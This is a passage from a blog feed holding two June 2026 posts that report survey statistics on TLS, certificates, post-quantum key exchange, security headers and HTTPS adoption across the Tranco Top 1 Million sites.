    <p></p><p>There are clearly two different worlds here. The free, automated, ACME-native CAs &#x2014; Let&apos;s Encrypt and Google Trust Services &#x2014; issue 90-day certificates and lean hard on modern ECDSA keys (Google&apos;s are 92% ECDSA). The traditional commercial CAs &#x2014; Amazon, Sectigo, GlobalSign, GoDaddy &#x2014; are still handing out roughly one-year certificates on RSA keys (3&#x2013;6% ECDSA between them). The agile-crypto future I keep pushing has, in effect, already arrived for half the web &#x2014; it&apos;s just unevenly distributed across the CAs.</p><p>And you can watch the commercial side being dragged forward in real time: DigiCert&apos;s single most common lifetime is already 199 days, right up against the 200-day cap that landed in March. The mandate is doing exactly what it was designed to.</p><p></p><h3 id="certificate-authority-authorisation">Certificate Authority Authorisation</h3><p><a href="https://scotthelme.co.uk/certificate-authority-authorization/?ref=scotthelme.ghost.io" rel="noreferrer">CAA</a> continues its steady climb: 53,130 sites now publish a CAA record, up 50% on the 35,537 from 2022. It&apos;s still a small fraction of the web, but it&apos;s one of the cheapest wins in the PKI &#x2014; it lets you tell the world which CAs are allowed to issue for your domain &#x2014; and it&apos;s good to see it trending the right way.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/caa.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1108" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/caa.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/caa.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/caa.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/caa.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="tls-versions">TLS versions</h3><p>This is one of the cleaner success stories, but it&apos;s taken us a long time to get here.</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Version</th>
    <th>Jun 2022</th>
    <th>Jun 2026</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>TLSv1.3</td>
    <td>378,162</td>
    <td><strong>576,464</strong></td>
    </tr>
    <tr>
    <td>TLSv1.2</td>
    <td>180,121</td>
    <td><strong>70,395</strong></td>
    </tr>
    <tr>
    <td>TLSv1.1</td>
    <td>0</td>
    <td><strong>0</strong></td>
    </tr>
    <tr>
    <td>TLSv1.0</td>
    <td>512</td>
    <td><strong>106</strong></td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><p>TLSv1.3 is up 52% and is now comfortably the dominant protocol version. TLSv1.2 has fallen 61% as sites migrate upwards. And the legacy protocols are essentially gone: TLSv1.1 is extinct, and TLSv1.0 is down to just 106 sites, a 79% drop. After years of nagging, the back of the legacy-TLS problem is finally broken.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/tls.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1020" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/tls.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/tls.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/tls.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/tls.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="cipher-suites">Cipher Suites</h3><p>The cipher picture is overwhelmingly modern, led by the TLS 1.3 AEAD suites:</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Cipher Suite</th>
    <th>Count</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>TLS_AES_256_GCM_SHA384</td>
    <td>492,080</td>
    </tr>
    <tr>
    <td>TLS_AES_128_GCM_SHA256</td>
    <td>82,080</td>
    </tr>
    <tr>
    <td>ECDHE-RSA-AES256-GCM-SHA384</td>
    <td>32,027</td>
    </tr>
    <tr>
    <td>ECDHE-RSA-AES128-GCM-SHA256</td>
    <td>23,070</td>
    </tr>
    <tr>
    <td>ECDHE-ECDSA-CHACHA20-POLY1305</td>
    <td>5,628</td>
    </tr>
    <tr>
    <td>ECDHE-RSA-CHACHA20-POLY1305</td>
    <td>3,130</td>
    </tr>
    <tr>
    <td>ECDHE-ECDSA-AES256-GCM-SHA384</td>
    <td>2,853</td>
    </tr>
    <tr>
    <td>TLS_CHACHA20_POLY1305_SHA256</td>
    <td>2,304</td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><p>The old CBC-mode and non-PFS suites have dwindled to a rounding error. Forward secrecy is effectively universal at the top of the web.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/ciphers-suites.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1093" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/ciphers-suites.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/ciphers-suites.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/ciphers-suites.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/ciphers-suites.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="key-exchange-and-the-arrival-of-post-quantum">Key Exchange and the arrival of post-quantum</h3><p>This is the development I&apos;ve been waiting to be able to measure &#x2014; and it&apos;s further along than I&apos;d have guessed.</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Key Exchange Group</th>
    <th>Count</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td><strong>X25519MLKEM768 (post-quantum hybrid)</strong></td>
    <td><strong>358,115</strong></td>
    </tr>
    <tr>
    <td>X25519</td>
    <td>231,406</td>
    </tr>
    <tr>
    <td>ECDH P-256 (prime256v1)</td>
    <td>38,453</td>
    </tr>
    <tr>
    <td>ECDH P-384 (secp384r1)</td>
    <td>13,293</td>
    </tr>
    <tr>
    <td>ECDH P-521 (secp521r1)</td>
    <td>4,975</td>
    </tr>
    <tr>
    <td>DH 2048 / 3072 / 4096</td>
    <td>294</td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><blockquote>358,115 sites &#x2014; around 44% of everything that responded &#x2014; negotiated a post-quantum hybrid key exchange.</blockquote><p></p><p><code>X25519MLKEM768</code> combines the classical X25519 curve with ML-KEM-768 (the NIST-standardised, post-quantum key-encapsulation mechanism formerly known as Kyber). The hybrid construction means you get today&apos;s security <em>and</em> protection against &quot;harvest now, decrypt later&quot; attacks, where an adversary records encrypted traffic now in the hope of decrypting it with a future quantum computer. For a huge swathe of the web, that future threat is already mitigated.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/pqkx.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1089" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/pqkx.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/pqkx.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/pqkx.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/pqkx.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><p>What&apos;s remarkable is how <em>quietly</em> this happened. A couple of years ago, post-quantum TLS was a research curiosity you had to go out of your way to enable. Today it&apos;s the single most common key-exchange group on the web, ahead of plain X25519 &#x2014; because Cloudflare and Google turned it on by default and, between them, front an enormous fraction of the top million. It&apos;s the clearest example I have of how much leverage a handful of infrastructure providers now hold: one default flip, and quantum-safe key agreement goes mainstream across hundreds of thousands of sites overnight.</p><p>(A note on measurement: classical key exchange is overwhelmingly X25519 now, with the NIST P-curves a distant second and finite-field DH all but gone. To see the PQC group at all I had to upgrade the crawler to OpenSSL 3.5 &#x2014; older clients simply don&apos;t offer the hybrid groups, which is a neat illustration of why client support is the gating factor for adoption.)</p><p></p><h3 id="authentication-keys">Authentication Keys</h3><p>A quieter milestone, but a real one: ECDSA has overtaken RSA. Finally!</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Key type</th>
    <th>Jun 2022</th>
    <th>Jun 2026</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>RSA</td>
    <td>392,191</td>
    <td>306,042</td>
    </tr>
    <tr>
    <td>ECDSA</td>
    <td>165,438</td>
    <td><strong>340,498</strong></td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><p>And by key size, 256-bit ECDSA is now the single most common choice, having overtaken 2048-bit RSA:</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Key size</th>
    <th>Jun 2022</th>
    <th>Jun 2026</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>256-bit (ECDSA P-256)</td>
    <td>157,878</td>
    <td><strong>332,437</strong></td>
    </tr>
    <tr>
    <td>2048-bit (RSA)</td>
    <td>353,376</td>
    <td>263,394</td>
    </tr>
    <tr>
    <td>4096-bit (RSA)</td>
    <td>35,977</td>
    <td>38,779</td>
    </tr>
    <tr>
    <td>384-bit (ECDSA P-384)</td>
    <td>7,560</td>
    <td>8,061</td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><p>Smaller, faster, modern elliptic-curve keys have won the argument. The remaining RSA install base is large but now clearly in decline, and the insane pile of 4096-bit RSA keys has barely grown.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/public-key-type.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1081" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/public-key-type.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/public-key-type.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/public-key-type.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/public-key-type.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/public-key-size.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1090" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/public-key-size.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/public-key-size.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/public-key-size.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/public-key-size.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="ocsp-stapling">OCSP stapling</h3><p>210,377 sites staple an OCSP response to their handshake, sparing clients a separate round-trip to the CA to check revocation (<a href="https://scotthelme.co.uk/revocation-checking-is-pointless/?ref=scotthelme.ghost.io" rel="noreferrer">does anyone still do that?</a>). It&apos;s worth noting this is a technology on the way out: with the CA/Browser Forum making OCSP optional and the industry shifting to short-lived certificates and <a href="https://scotthelme.co.uk/crlite-finally-a-fix-for-broken-revocation/?ref=scotthelme.ghost.io" rel="noreferrer">CRL-based mechanisms</a>, stapling matters less every year &#x2014; when your certificate only lives 90 days (or soon 47), revocation is a much smaller problem to begin with. A nice example of one part of the ecosystem (short lifetimes) quietly dissolving the need for another (revocation infrastructure).</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/ocsp.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1042" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/ocsp.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/ocsp.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/ocsp.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/ocsp.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="encrypted-client-hello-ech">Encrypted Client Hello (ECH)</h3><p>The last big metadata leak in TLS is the Server Name Indication field &#x2014; the hostname you&apos;re connecting to, sent in the clear during the handshake. Encrypted Client Hello closes it, and adoption is already substantial: 199,959 sites publish an ECH configuration in their DNS <code>HTTPS</code> record, with<strong> 278,778 sites</strong> publishing a DNS <code>HTTPS</code>/SVCB record at all. Like the post-quantum rollout above, it&apos;s a privacy win that&apos;s landed years ahead of where I&apos;d have expected &#x2014; and one most site owners got without lifting a finger.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/ech.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1041" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/ech.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/ech.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/ech.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/ech.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="closing-thoughts">Closing thoughts</h3><p>The cryptographic foundations of the web have changed enormously over the last decade. TLS 1.3 is now the dominant protocol, weak legacy versions have almost disappeared, modern cipher suites are the norm, forward secrecy is effectively universal, and short-lived, automatically issued certificates have become the default for a huge part of the web. That is a remarkable shift from where we were ten years ago.</p><p>What stands out most in this data is how much of that progress is now driven by infrastructure defaults. Certificate automation, 90-day lifetimes, ECDSA, modern TLS configuration, ECH and even post-quantum hybrid key exchange are being rolled out at enormous scale by CDNs, hosting platforms, browsers and certificate authorities. Individual site owners may not always be making these changes directly, but they are benefiting from the ecosystem moving underneath them.</p><p>There are still areas to improve, of course. CAA has plenty of room to grow, the use of ECH is still building, and the post-quantum transition is only just beginning. But compared with the broader application-security picture, the TLS and certificate ecosystem feels like it&apos;s finally in good shape. The plumbing is getting stronger, more modern, and more automated, and that gives us a much better foundation for whatever comes next.</p><p>A decade ago, we were still arguing about whether everyone really needed HTTPS. Today, the frontier is quantum resistance, and the web is quietly already crossing it.</p><p></p><h3 id="get-the-data">Get the data</h3><p>Everything here is open &#x2014; the full per-metric files, the raw database dump, and the daily crawl data are at <a href="https://crawler.ninja/?ref=scotthelme.ghost.io">Crawler.Ninja</a>.</p><p>If you missed it, <a href="https://scotthelme.co.uk/top-1-million-analysis-june-2026-ten-years-of-web-security/?ref=scotthelme.ghost.io" rel="noreferrer">part one</a> covers the security headers, cookies, email/DNS security and the broader anniversary retrospective. Here&apos;s to the next ten years!</p><hr><p><em>Crawl date: 13 June 2026. 819,002 responding sites from the Tranco Top 1 Million. Powered by </em><a href="https://crawler.ninja/?ref=scotthelme.ghost.io"><em>Crawler.Ninja</em></a><em> and </em><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><em>Report URI</em></a><em>.</em></p><p></p>]]></content:encoded></item><item><title><![CDATA[Top 1 Million Analysis – June 2026: Ten Years of Web Security]]></title><description><![CDATA[<p>It&apos;s been a long time since the last one of these! The previous Top 1 Million Analysis was way back in <em>June 2022</em>, and a lot has happened since then. But there&apos;s a much bigger reason to dust off the crawler and publish another report: <strong>this</strong></p>]]></description><link>https://scotthelme.ghost.io/top-1-million-analysis-june-2026-ten-years-of-web-security/</link><guid isPermaLink="false">6a2dd1d7d237ab0001bd29b7</guid><category><![CDATA[Crawler Report]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 29 Jun 2026 13:40:56 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/10-year-part-1.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/10-year-part-1.png" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security"><p>It&apos;s been a long time since the last one of these! The previous Top 1 Million Analysis was way back in <em>June 2022</em>, and a lot has happened since then. But there&apos;s a much bigger reason to dust off the crawler and publish another report: <strong>this year marks ten years since I started crawling the top 1 million sites!</strong> The very first crawl went out in 2016, and a decade later it feels like exactly the right moment to take stock of how far web security has come &#x2014; and where it&apos;s quietly going backwards.</p><p>There&apos;s so much to cover this year that I&apos;ve split the report into two parts. This first part is the anniversary retrospective and the broad state of the web &#x2014; HTTPS, the security headers, cookies, email and DNS security, and more. <a href="https://scotthelme.co.uk/top-1-million-analysis-june-2026-the-state-of-crypto/?ref=scotthelme.ghost.io" rel="noreferrer">Part two</a> is going to be a dedicated deep-dive into the cryptography side of things with TLS, certificates, certificate lifetimes, the arrival of post-quantum cryptography, and more. That will be published tomorrow.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-3.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-3.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="introduction">Introduction</h3><p>Over a decade ago, I started <a href="https://scotthelme.co.uk/tag/crawler-report/?ref=scotthelme.ghost.io" rel="noreferrer">measuring</a> how the web was adopting some of the security features that were, at the time, still relatively new or uncommon. Things like HTTPS redirects, HSTS, CSP, security headers, cookie flags, and other browser-side protections were gradually becoming part of the modern web security toolkit. A decade later, the picture looks very different. Some of those technologies are now firmly established, others have struggled to gain meaningful adoption, and in many cases the presence of a feature doesn&#x2019;t necessarily mean it has been deployed well. In this post, I&#x2019;m taking a fresh look at the Tranco Top 1 Million to see how far we&#x2019;ve come, where progress has stalled, and what the current state of web security really looks like.</p><p></p><h3 id="the-crawl">The Crawl</h3><p>The methodology is the same as it&apos;s always been: take the <a href="https://tranco-list.eu/?ref=scotthelme.ghost.io">Tranco</a> Top 1 Million list, request each site over HTTP, follow the redirects, and record everything about the response &#x2014; security headers, the TLS handshake, the certificate, a bunch of DNS lookups, and everything else I could think of. Of the million sites on the list, 819,002 responded this time, and everything below is measured against that responding population.</p><p>Two things worth flagging up front. First, the gap: four years is a long time (my bad), so where it&apos;s useful I&apos;ve compared back to June 2022, but I&apos;ve also leaned on the full historical dataset for the ten-year view. Second, I took the opportunity to substantially expand what the crawler measures for this anniversary edition &#x2014; there are a whole set of new metrics here that have never appeared in one of these reports before (cookie security attributes, DMARC/SPF, cross-origin isolation, ECH, post-quantum cryptography and more). More on those as we go, and the big hitters will be in part two.</p><p></p><h3 id="a-decade-in-numbers">A decade in numbers</h3><p>Before we dig into individual metrics, here&apos;s the headline story of ten years of web security, told through the three metrics with the longest history:</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Metric</th>
    <th>Aug 2015</th>
    <th>Mar 2020</th>
    <th>Jun 2022</th>
    <th><strong>Jun 2026</strong></th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>Redirect to HTTPS</td>
    <td>62,043</td>
    <td>528,498</td>
    <td>589,979</td>
    <td><strong>658,038</strong></td>
    </tr>
    <tr>
    <td>HSTS</td>
    <td>11,308</td>
    <td>132,466</td>
    <td>188,492</td>
    <td><strong>252,846</strong></td>
    </tr>
    <tr>
    <td>CSP</td>
    <td>1,365</td>
    <td>51,986</td>
    <td>79,549</td>
    <td><strong>170,057</strong></td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><p>That&apos;s the encouraging part &#x2014; the foundational stuff is still climbing. HTTPS has gone from a minority of sites to the overwhelming default, HSTS continues its steady climb, and CSP has more than doubled again since 2022. The web really is more secure than it was a decade ago. But as we&apos;ll see, several of the metrics I&apos;ve tracked for years have plateaued or started to slide, and the most interesting story this year is in the brand-new things that didn&apos;t even exist last time.</p><p></p><h3 id="the-biggest-movers-of-the-decade">The biggest movers of the decade</h3><p>Ten years is long enough to see some genuinely enormous swings. Measured from the very first crawl in 2015, the biggest risers are:</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Metric</th>
    <th>Aug 2015</th>
    <th>Jun 2026</th>
    <th>Change</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>Content-Security-Policy</td>
    <td>1,365</td>
    <td>170,057</td>
    <td><strong>+12,360%</strong></td>
    </tr>
    <tr>
    <td>CSP-Report-Only</td>
    <td>211</td>
    <td>9,979</td>
    <td>+4,630%</td>
    </tr>
    <tr>
    <td>HSTS</td>
    <td>11,308</td>
    <td>252,846</td>
    <td>+2,140%</td>
    </tr>
    <tr>
    <td>Redirect to HTTPS</td>
    <td>62,043</td>
    <td>658,038</td>
    <td>+960%</td>
    </tr>
    <tr>
    <td>X-Content-Type-Options</td>
    <td>44,315</td>
    <td>311,659</td>
    <td>+603%</td>
    </tr>
    <tr>
    <td>X-Frame-Options</td>
    <td>55,042</td>
    <td>327,918</td>
    <td>+496%</td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><p>CSP going from barely a thousand sites to 170,000+ &#x2014; a <strong>125&#xD7;</strong> increase &#x2014; is the standout of the decade, without a doubt. It&apos;s great to see it finally getting the attention it deserves. </p><p>And the notable fallers and reversals, mostly more recent:</p><p><strong>EV certificates:</strong> 15,604 (2020 peak) &#x2192; 4,186, a slow-motion collapse. If you&apos;re new to the Web, you may not have seen an EV certificate in action as their UI was removed back in 2019 (<a href="https://scotthelme.co.uk/gone-for-ever/?ref=scotthelme.ghost.io" rel="noreferrer">Gone forEVer</a>) and I&apos;ve been tracking their decline since long before that (<a href="https://scotthelme.co.uk/sites-that-used-to-have-ev/?ref=scotthelme.ghost.io" rel="noreferrer">Sites that used to have EV</a>). It&apos;s weird to see that EV is still most popular in the highest ranked sites, I guess they have the money to burn?</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/ev-certs.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1108" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/ev-certs.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/ev-certs.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/ev-certs.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/ev-certs.png 2400w" sizes="(min-width: 720px) 720px"></figure><blockquote>A quick note if you&apos;ve not read one of these crawler reports before, this is the typical form I present the graphs in. We have the top 1 million sites on the x-axis, in groups of 5,000 sites, and the y-axis shows how many sites in that group have the feature.</blockquote><p></p><p><strong>Feature-Policy:</strong> peaked and now declining as <strong>Permissions-Policy</strong> replaces it, this decline is a good thing as sites are responding to the changing standards. </p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/permissions-policy.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1079" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/permissions-policy.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/permissions-policy.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/permissions-policy.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/permissions-policy.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><p><strong>X-XSS-Protection grew ~290%</strong> over the decade, to 163,114 sites. How odd. For a feature browsers have since <em>removed</em> entirely, it&apos;s doing spectacularly well...</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/xxp-1.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1046" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/xxp-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/xxp-1.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/xxp-1.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/xxp-1.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="https">HTTPS</h3><p>658,038 sites now redirect to HTTPS, up about 12% from 589,979 in 2022. To put the ten-year arc in perspective, that figure was just <strong>62,043</strong> in 2015 &#x2014; under 7% of the responding sites. HTTPS is now simply how the web works, and the long tail of plain-HTTP sites is shrinking every year. If you&apos;re somehow still in that tail, we have an excellent two-day course to get hands on with deploying HTTPS that you can check out: <a href="https://www.feistyduck.com/training/practical-tls-and-pki?ref=scotthelme.ghost.io" rel="noreferrer">Practical TLS and PKI</a>. Here&apos;s the current state of HTTPS in the top 1 million sites.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-1.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1109" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/image-1.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/image-1.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-1.png 2033w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Next, let&apos;s take a look at HTTPS adoption over the years. </p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/https.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1045" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/https.png 600w, 